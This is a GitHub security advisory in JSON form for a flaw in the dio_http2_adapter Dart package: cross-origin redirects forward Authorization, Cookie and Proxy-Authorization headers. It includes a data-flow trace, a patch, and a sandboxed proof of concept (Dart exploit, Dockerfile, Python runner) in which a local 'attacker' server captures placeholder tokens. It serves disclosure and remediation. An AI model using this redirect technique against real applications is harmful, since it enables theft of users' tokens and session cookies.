{"id":"GHSA-cr65-55v9-xhvv","summary":"Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`","details":"### Summary\n\n`dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.\n\n### Details\n\nWhen `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:111\nheaders.addAll(\n  options.headers.entries.map((entry) {\n    ...\n    return Header.ascii(entry.key.toLowerCase(), v);\n  }).toList(),\n);\n```\n\nOn receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263\nfinal url = responseHeaders.value('location');\nfinal uri = Uri.parse(url ?? '');\nfinal String path = resolveRedirectUri(options.uri, uri).toString();\nreturn _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);\n```\n\n`options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization.\n\n**Data flow (source → sink):**\n\n1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request\u003cT\u003e(String path, ...)` entry point.\n2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`.\n3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`.\n4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source).\n5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent.\n6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override.\n7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained.\n8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).\n\n**Suggested patch** — strip sensitive headers before following a cross-origin redirect:\n\n```diff\n--- a/plugins/http2_adapter/lib/src/http2_adapter.dart\n+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart\n+  static const _sensitiveRedirectHeaders = {\n+    'authorization',\n+    'cookie',\n+    'proxy-authorization',\n+  };\n+\n-      final String path = resolveRedirectUri(options.uri, uri).toString();\n+      final redirectUri = resolveRedirectUri(options.uri, uri);\n+      final redirectOptions = options.copyWith(\n+        path: redirectUri.toString(),\n+        maxRedirects: --options.maxRedirects,\n+      );\n+      if (!_sameOrigin(options.uri, redirectUri)) {\n+        redirectOptions.headers.removeWhere(\n+          (name, _) =\u003e _sensitiveRedirectHeaders.contains(name.toLowerCase()),\n+        );\n+      }\n       return _fetch(\n-        options.copyWith(path: path, maxRedirects: --options.maxRedirects),\n+        redirectOptions,\n         list != null ? Stream.fromIterable(list) : null,\n         cancelFuture,\n         redirects,\n       );\n+\n+  static bool _sameOrigin(Uri a, Uri b) =\u003e\n+      a.scheme == b.scheme && a.host == b.host && a.port == b.port;\n```\n\n### PoC\n\nThe following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository checked out at the path used as the build context.\n\n**Build and run:**\n\n```bash\n# From the repository root (github_web_81_cfug__dio/)\ndocker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .\ndocker run --rm --network none dio-vuln-001:poc\n```\n\n**What the container does:**\n\n1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`.\n2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header.\n3. Executes the following Dart exploit:\n\n```dart\nfinal dio = Dio()\n  ..httpClientAdapter = Http2Adapter(ConnectionManager());\nawait dio.get(\n  'http://127.0.0.1:18081/start',\n  options: Options(headers: {\n    'Authorization': 'Bearer SECRET_TOKEN_12345',\n    'Cookie': 'sid=SECRET_SESSION_ABC',\n    'x-secret': 'internal-secret-value',\n  }),\n);\n```\n\n**Expected output (confirms vulnerability):**\n\n```\nRESULT=VULN_CONFIRMED\nLEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\nLEAKED_COOKIE=sid=SECRET_SESSION_ABC\n\n[ATTACKER] Received headers:\n[ATTACKER]   authorization: Bearer SECRET_TOKEN_12345\n[ATTACKER]   cookie: sid=SECRET_SESSION_ABC\n[ATTACKER]   x-secret: internal-secret-value\n```\n\nThe attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping.\n\n### Impact\n\nThis is a **sensitive information disclosure** vulnerability. Any application that:\n\n1. configures `Dio` with `Http2Adapter`, and\n2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers,\n\nis affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug.\n\nAn attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.\n\nAffected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter\n#\n# Build context: the parent directory (github_web_81_cfug__dio/)\n#   docker build -f vuln-001/Dockerfile -t dio-vuln-001 .\n#\n# What this image does:\n#   1. Installs Dart SDK (stable)\n#   2. Copies the vulnerable repository source (dio + dio_http2_adapter)\n#   3. Creates a PoC Dart project using path dependencies to the local source\n#   4. Resolves pub packages\n#   5. On container run: executes the exploit script that starts two local\n#      h2c servers (origin + attacker) and makes a redirected request to prove\n#      that Authorization/Cookie headers are forwarded to the cross-origin target\n\nFROM dart:stable AS builder\n\n# ── Repository source ──────────────────────────────────────────────────────────\n# Copy only the packages we need to keep image small\nCOPY repo/dio/ /repo/dio/\nCOPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/\n\n# ── PoC project setup ──────────────────────────────────────────────────────────\nWORKDIR /poc\n\nCOPY vuln-001/poc_pubspec.yaml pubspec.yaml\nCOPY vuln-001/poc_exploit.dart lib/main.dart\n\n# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)\nRUN dart pub get\n\n# ── Runtime image (reuse builder to keep it simple) ────────────────────────────\nFROM builder AS final\n\nWORKDIR /poc\n\n# Run the exploit; exit code:\n#   0 = VULN_CONFIRMED (authorization header leaked to attacker)\n#   1 = NOT_VULNERABLE  (header was stripped or redirect not followed)\n#   2 = FAIL            (attacker server never received a request — env issue)\nCMD [\"dart\", \"run\", \"lib/main.dart\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC orchestrator for VULN-001:\n  Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.\n\nUsage:\n    python3 poc.py [--image-tag TAG]\n\nWhat it does:\n    1. Builds a Docker image containing the vulnerable dio_http2_adapter source\n       and a Dart exploit script (poc_exploit.dart).\n    2. Runs the container, which:\n         a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:\n              - Origin  (127.0.0.1:18081): returns 302 → attacker\n              - Attacker (127.0.0.1:18082): logs all received headers\n         b. Uses dio + Http2Adapter to GET http://origin/start with\n            Authorization and Cookie headers.\n         c. Follows the 302 redirect to the attacker server.\n         d. Reports whether the Authorization header was captured by the attacker.\n    3. Writes phase2_result.json with structured verdict.\n\nExit codes:\n    0  PASS   — vulnerability confirmed\n    1  FAIL   — not reproduced\n    2  ERROR  — build or runtime environment problem\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nfrom pathlib import Path\n\n# ── Paths ──────────────────────────────────────────────────────────────────────\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent          # github_web_81_cfug__dio/\nRESULT_FILE = SCRIPT_DIR / \"phase2_result.json\"\n\nBUILD_CONTEXT = str(REPO_ROOT)\nDOCKERFILE = str(SCRIPT_DIR / \"Dockerfile\")\nDEFAULT_IMAGE_TAG = \"dio-vuln-001:poc\"\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    \"\"\"Run a subprocess command, streaming stdout/stderr to the terminal.\"\"\"\n    print(f\"[+] {' '.join(cmd)}\", flush=True)\n    return subprocess.run(cmd, **kwargs)\n\n\ndef build_image(tag: str) -\u003e bool:\n    \"\"\"Build the Docker image. Returns True on success.\"\"\"\n    result = run(\n        [\n            \"docker\", \"build\",\n            \"--file\", DOCKERFILE,\n            \"--tag\", tag,\n            BUILD_CONTEXT,\n        ],\n        check=False,\n    )\n    if result.returncode != 0:\n        print(f\"[!] Docker build failed (exit {result.returncode})\", file=sys.stderr)\n        return False\n    return True\n\n\ndef run_container(tag: str, timeout_sec: int = 120) -\u003e tuple[int, str, str]:\n    \"\"\"\n    Run the container and capture its output.\n\n    Returns:\n        (returncode, stdout, stderr)\n    \"\"\"\n    result = run(\n        [\n            \"docker\", \"run\",\n            \"--rm\",\n            \"--network\", \"none\",   # no external network; loopback only\n            tag,\n        ],\n        capture_output=True,\n        text=True,\n        timeout=timeout_sec,\n        check=False,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef parse_output(stdout: str, stderr: str) -\u003e dict:\n    \"\"\"\n    Parse structured key=value lines from the exploit's stdout.\n\n    The Dart exploit writes lines like:\n        RESULT=VULN_CONFIRMED\n        LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\n        EVIDENCE=...\n    \"\"\"\n    parsed = {}\n    for line in stdout.splitlines():\n        if \"=\" in line:\n            key, _, val = line.partition(\"=\")\n            parsed[key.strip()] = val.strip()\n    return parsed\n\n\ndef write_result(data: dict) -\u003e None:\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n        json.dump(data, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[+] Result written to {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(description=__doc__)\n    parser.add_argument(\n        \"--image-tag\", default=DEFAULT_IMAGE_TAG,\n        help=f\"Docker image tag (default: {DEFAULT_IMAGE_TAG})\",\n    )\n    args = parser.parse_args()\n    tag = args.image_tag\n\n    build_cmd = (\n        f\"docker build -f vuln-001/Dockerfile -t {tag} .\"\n    )\n    run_cmd = (\n        f\"docker run --rm --network none {tag}\"\n    )\n    poc_cmd = (\n        f\"cd {REPO_ROOT} && {build_cmd} && {run_cmd}\"\n    )\n\n    # ── Step 1: Build ──────────────────────────────────────────────────────────\n    print(\"=\" * 70)\n    print(\"STEP 1: Building Docker image\")\n    print(\"=\" * 70)\n    if not build_image(tag):\n        result_data = {\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": \"Docker image build failed — dart pub get or source copy error\",\n            \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n            \"run_command\": run_cmd,\n            \"poc_command\": poc_cmd,\n            \"evidence\": \"docker build non-zero exit code\",\n            \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n        }\n        write_result(result_data)\n        return 2\n\n    # ── Step 2: Run exploit ────────────────────────────────────────────────────\n    print(\"\\n\" + \"=\" * 70)\n    print(\"STEP 2: Running exploit container\")\n    print(\"=\" * 70)\n\n    try:\n        returncode, stdout, stderr = run_container(tag)\n    except subprocess.TimeoutExpired:\n        result_data = {\n            \"passed\": False,\n            \"verdict\": \"INCOMPLETE\",\n            \"reason\": \"Container execution did not complete within 120 seconds and was terminated due to timeout\",\n            \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n            \"run_command\": run_cmd,\n            \"poc_command\": poc_cmd,\n            \"evidence\": \"subprocess.TimeoutExpired after 120 s\",\n            \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n        }\n        write_result(result_data)\n        return 2\n\n    print(\"\\n── Container STDOUT ─────────────────────────────────────────────\")\n    print(stdout or \"(empty)\")\n    print(\"── Container STDERR ─────────────────────────────────────────────\")\n    print(stderr or \"(empty)\")\n    print(\"── Exit code:\", returncode, \"─────────────────────────────────────\")\n\n    # ── Step 3: Evaluate results ───────────────────────────────────────────────\n    parsed = parse_output(stdout, stderr)\n    exploit_result = parsed.get(\"RESULT\", \"\")\n    leaked_header = parsed.get(\"LEAKED_HEADER\", \"\")\n    evidence_line = parsed.get(\"EVIDENCE\", \"\")\n\n    if returncode == 0 and exploit_result == \"VULN_CONFIRMED\" and leaked_header:\n        # Combine stdout + a snippet of stderr for the evidence field\n        stderr_snippet = \"\\n\".join(\n            line for line in stderr.splitlines()\n            if any(tag in line for tag in (\"[ATTACKER]\", \"[RESULT]\", \"[EVIDENCE]\"))\n        )[:1500]\n        evidence = (\n            f\"stdout: {stdout.strip()}\\n\\n\"\n            f\"stderr (relevant):\\n{stderr_snippet}\"\n        )\n        result_data = {\n            \"passed\": True,\n            \"verdict\": \"PASS\",\n            \"reason\": (\n                \"dio_http2_adapter forwarded the original Authorization header verbatim \"\n                \"to the attacker's server without stripping it when following a \"\n                \"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) \"\n                f\"received '{leaked_header}'.\"\n            ),\n            \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n            \"run_command\": run_cmd,\n            \"poc_command\": poc_cmd,\n            \"evidence\": evidence,\n            \"artifacts\": [\n                \"Dockerfile\",\n                \"poc_exploit.dart\",\n                \"poc_pubspec.yaml\",\n                \"poc.py\",\n            ],\n        }\n        write_result(result_data)\n        print(\"\\n[PASS] VULN-001 reproduced successfully.\")\n        return 0\n\n    elif returncode == 1 or exploit_result == \"NOT_VULNERABLE\":\n        result_data = {\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": (\n                \"Container execution succeeded, but the attacker server did not \"\n                \"receive the Authorization header. The vulnerability was not \"\n                f\"reproduced in this environment. Parsed result: {parsed}\"\n            ),\n            \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n            \"run_command\": run_cmd,\n            \"poc_command\": poc_cmd,\n            \"evidence\": stdout + \"\\n\" + stderr,\n            \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n        }\n        write_result(result_data)\n        print(\"\\n[FAIL] Vulnerability not reproduced.\")\n        return 1\n\n    else:\n        # returncode == 2 or other unexpected failure\n        result_data = {\n            \"passed\": False,\n            \"verdict\": \"INCOMPLETE\",\n            \"reason\": (\n                f\"Container execution failed or exited with an unexpected code {returncode}. \"\n                \"Cause: h2c server startup error, network issue, or Dart runtime \"\n                \"error. Check the stderr log and retry without --network none.\"\n            ),\n            \"build_command\": f\"cd {REPO_ROOT} && {build_cmd}\",\n            \"run_command\": run_cmd,\n            \"poc_command\": poc_cmd,\n            \"evidence\": f\"exit={returncode}\\nstdout={stdout}\\nstderr={stderr}\",\n            \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n        }\n        write_result(result_data)\n        print(f\"\\n[INCOMPLETE] Container exited with code {returncode}.\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","aliases":["CVE-2026-103030"],"modified":"2026-10-15T20:30:05.482816652Z","published":"2026-10-15T20:18:37Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:18:37Z","nvd_published_at":"2026-10-13T17:17:14Z","cwe_ids":["CWE-200"]},"references":[{"type":"WEB","url":"https://github.com/cfug/dio/security/advisories/GHSA-cr65-55v9-xhvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103030"},{"type":"WEB","url":"https://github.com/cfug/dio/commit/9d7ac913340084f3b4987b121e076f28d637a81e"},{"type":"PACKAGE","url":"https://github.com/cfug/dio"},{"type":"WEB","url":"https://github.com/cfug/dio/releases/tag/http2_adapter_v2.8.0"}],"affected":[{"package":{"name":"dio_http2_adapter","ecosystem":"Pub","purl":"pkg:pub/dio_http2_adapter"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"2.8.0"}]}],"versions":["1.0.0","1.0.1","2.0.0","2.0.0-beta1","2.0.0-beta2","2.0.0-prev1","2.1.0","2.2.0","2.3.0","2.3.1","2.3.1+1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.7.0","2.7.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cr65-55v9-xhvv/GHSA-cr65-55v9-xhvv.json","last_known_affected_version_range":"\u003c= 2.7.1"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}